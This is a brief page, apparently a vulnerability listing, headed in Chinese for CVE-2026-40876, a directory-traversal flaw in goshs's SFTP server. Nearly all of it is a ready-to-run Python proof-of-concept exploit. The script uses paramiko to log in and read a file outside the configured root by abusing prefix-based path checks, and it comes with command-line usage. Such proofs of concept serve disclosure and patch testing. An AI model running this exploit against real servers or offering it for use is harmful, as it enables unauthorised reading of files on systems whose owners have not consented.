CVE-2026-40876 goshs SFTP目录遍历漏洞

import paramiko import sys # CVE-2026-40876 PoC: goshs SFTP Root Escape # Description: Exploits prefix-based path validation to read files outside the root. def exploit(target, port, username, password): try: transport = paramiko.Transport((target, port)) transport.connect(username=username, password=password) sftp = paramiko.SFTPClient.from_transport(transport) # Assume configured root is /tmp/goshsroot # Attempt to read /tmp/goshsroot_evil/secret.txt using the prefix bypass malicious_path = "/tmp/goshsroot_evil/secret.txt" print(f"[*] Attempting to read: {malicious_path}") try: with sftp.file(malicious_path, 'r') as f: data = f.read() print("[+] Success! File content:") print(data.decode()) except IOError as e: print(f"[-] Failed to read file: {e}") sftp.close() transport.close() except Exception as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) != 5: print("Usage: python3 poc.py <target_ip> <port> <username> <password>") sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])